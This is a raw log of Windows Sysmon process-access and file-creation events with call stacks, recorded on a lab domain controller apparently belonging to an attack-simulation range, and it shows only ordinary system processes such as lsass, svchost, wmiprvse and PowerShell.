09:09:22.575{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28C2-5F80-2200-000000007F01}2800C:\Windows\system32\wbem\wmiprvse.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001012Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:22.575{A5F018FF-28BD-5F80-0B00-000000007F01}868108C:\Windows\system32\lsass.exe{A5F018FF-28C2-5F80-2200-000000007F01}2800C:\Windows\system32\wbem\wmiprvse.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+25d17|C:\Windows\system32\lsasrv.dll+26ded|C:\Windows\system32\lsasrv.dll+25b95|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001011Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:22.575{A5F018FF-28BD-5F80-0B00-000000007F01}868108C:\Windows\system32\lsass.exe{A5F018FF-28C2-5F80-2200-000000007F01}2800C:\Windows\system32\wbem\wmiprvse.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\System32\RPCRT4.dll+112df|C:\Windows\system32\lsasrv.dll+25add|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001010Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:22.544{A5F018FF-28BF-5F80-0F00-000000007F01}11282332C:\Windows\system32\svchost.exe{A5F018FF-28C2-5F80-2200-000000007F01}2800C:\Windows\system32\wbem\wmiprvse.exe0x101541C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\system32\wbem\wmiprvsd.dll+20fee|C:\Windows\system32\wbem\wmiprvsd.dll+43f7|C:\Windows\system32\wbem\wmiprvsd.dll+15538|C:\Windows\system32\wbem\wmiprvsd.dll+1498a|C:\Windows\system32\wbem\wmiprvsd.dll+146e6|C:\Windows\system32\wbem\wmiprvsd.dll+140fe|C:\Windows\system32\wbem\wbemcore.dll+b920|C:\Windows\system32\wbem\wbemcore.dll+255ff|C:\Windows\system32\wbem\wbemcore.dll+24a9a|C:\Windows\system32\wbem\wbemcore.dll+2485e|C:\Windows\system32\wbem\wbemcore.dll+2685b|C:\Windows\system32\wbem\wbemcore.dll+22b78|C:\Windows\system32\wbem\wbemcore.dll+22a19|C:\Windows\system32\wbem\wbemcore.dll+21f5a|C:\Windows\system32\wbem\wbemcore.dll+22711|C:\Windows\system32\wbem\wbemcore.dll+2d78c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001009Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:22.528{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28C2-5F80-2200-000000007F01}2800C:\Windows\system32\wbem\wmiprvse.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5296|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001008Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:22.528{A5F018FF-28BC-5F80-0500-000000007F01}644660C:\Windows\system32\csrss.exe{A5F018FF-28C2-5F80-2200-000000007F01}2800C:\Windows\system32\wbem\wmiprvse.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000001007Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:22.528{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28C2-5F80-2200-000000007F01}2800C:\Windows\system32\wbem\wmiprvse.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6f453|C:\Windows\System32\KERNEL32.DLL+1d37f|c:\windows\system32\rpcss.dll+35069|c:\windows\system32\rpcss.dll+3a852|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001006Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:22.512{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28BD-5F80-0B00-000000007F01}868C:\Windows\system32\lsass.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+f86b|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001005Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:22.512{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28BD-5F80-0B00-000000007F01}868C:\Windows\system32\lsass.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+f71b|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001004Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:22.512{A5F018FF-28BD-5F80-0B00-000000007F01}868108C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-0F00-000000007F01}1128C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001003Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:22.512{A5F018FF-28BD-5F80-0B00-000000007F01}868108C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-0F00-000000007F01}1128C:\Windows\system32\svchost.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+25d17|C:\Windows\system32\lsasrv.dll+26ded|C:\Windows\system32\lsasrv.dll+25b95|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001002Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:22.512{A5F018FF-28BD-5F80-0B00-000000007F01}868108C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-0F00-000000007F01}1128C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\System32\RPCRT4.dll+112df|C:\Windows\system32\lsasrv.dll+25add|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001001Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:22.419{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-1C00-000000007F01}2172C:\Windows\System32\RemoteFXvGPUDisablement.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5296|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001000Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:22.231{A5F018FF-28BD-5F80-0B00-000000007F01}868108C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1C00-000000007F01}2172C:\Windows\System32\RemoteFXvGPUDisablement.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+25d17|C:\Windows\system32\lsasrv.dll+26ded|C:\Windows\system32\lsasrv.dll+25b95|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000999Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:22.231{A5F018FF-28BD-5F80-0B00-000000007F01}868108C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1C00-000000007F01}2172C:\Windows\System32\RemoteFXvGPUDisablement.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\System32\RPCRT4.dll+112df|C:\Windows\system32\lsasrv.dll+25add|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000998Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:22.137{A5F018FF-28BD-5F80-0B00-000000007F01}868900C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1800-000000007F01}2096C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+25d17|C:\Windows\system32\lsasrv.dll+26ded|C:\Windows\system32\lsasrv.dll+25b95|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000997Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:22.137{A5F018FF-28BD-5F80-0B00-000000007F01}868108C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1900-000000007F01}2144C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+25d17|C:\Windows\system32\lsasrv.dll+26ded|C:\Windows\system32\lsasrv.dll+25b95|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000996Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:22.137{A5F018FF-28BD-5F80-0B00-000000007F01}868108C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1900-000000007F01}2144C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\System32\RPCRT4.dll+112df|C:\Windows\system32\lsasrv.dll+25add|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000995Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:22.137{A5F018FF-28BD-5F80-0B00-000000007F01}868900C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1800-000000007F01}2096C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\System32\RPCRT4.dll+112df|C:\Windows\system32\lsasrv.dll+25add|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 11241100x8000000000000000994Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:21.294{A5F018FF-28BF-5F80-1C00-000000007F01}2172C:\Windows\System32\RemoteFXvGPUDisablement.exeC:\Windows\Temp\__PSScriptPolicyTest_4wxgmqrx.3j1.ps12020-10-09 09:09:21.294 11241100x8000000000000000993Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:21.231{A5F018FF-28BF-5F80-1800-000000007F01}2096C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\Temp\__PSScriptPolicyTest_lmhoolqs.wrj.ps12020-10-09 09:09:21.231 11241100x8000000000000000992Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:21.231{A5F018FF-28BF-5F80-1900-000000007F01}2144C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\Temp\__PSScriptPolicyTest_xj1vsd40.210.ps12020-10-09 09:09:21.231 10341000x8000000000000000991Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:21.075{A5F018FF-28BF-5F80-1100-000000007F01}12001312C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x100000C:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\System32\RPCRT4.dll+112df|c:\windows\system32\es.dll+118e5|c:\windows\system32\es.dll+13b72|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+7d09|C:\Windows\System32\combase.dll+22b9|C:\Windows\System32\RPCRT4.dll+b42b|C:\Windows\System32\combase.dll+53b8c|C:\Windows\System32\combase.dll+53842|C:\Windows\System32\combase.dll+51968|C:\Windows\System32\combase.dll+4fedd|C:\Windows\System32\combase.dll+4f5bf|C:\Windows\System32\combase.dll+6da09|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5982e|C:\Windows\System32\RPCRT4.dll+39257|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be 10341000x8000000000000000990Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:21.075{A5F018FF-28BD-5F80-0B00-000000007F01}868900C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1fb7a|C:\Windows\SYSTEM32\samsrv.dll+5df1|C:\Windows\SYSTEM32\samsrv.dll+5cf2|C:\Windows\SYSTEM32\samsrv.dll+178ce|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000989Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:21.075{A5F018FF-28BD-5F80-0B00-000000007F01}868900C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1fb7a|C:\Windows\SYSTEM32\samsrv.dll+5df1|C:\Windows\SYSTEM32\samsrv.dll+5cf2|C:\Windows\SYSTEM32\samsrv.dll+178ce|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000988Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:21.059{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28BD-5F80-0B00-000000007F01}868C:\Windows\system32\lsass.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+f86b|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 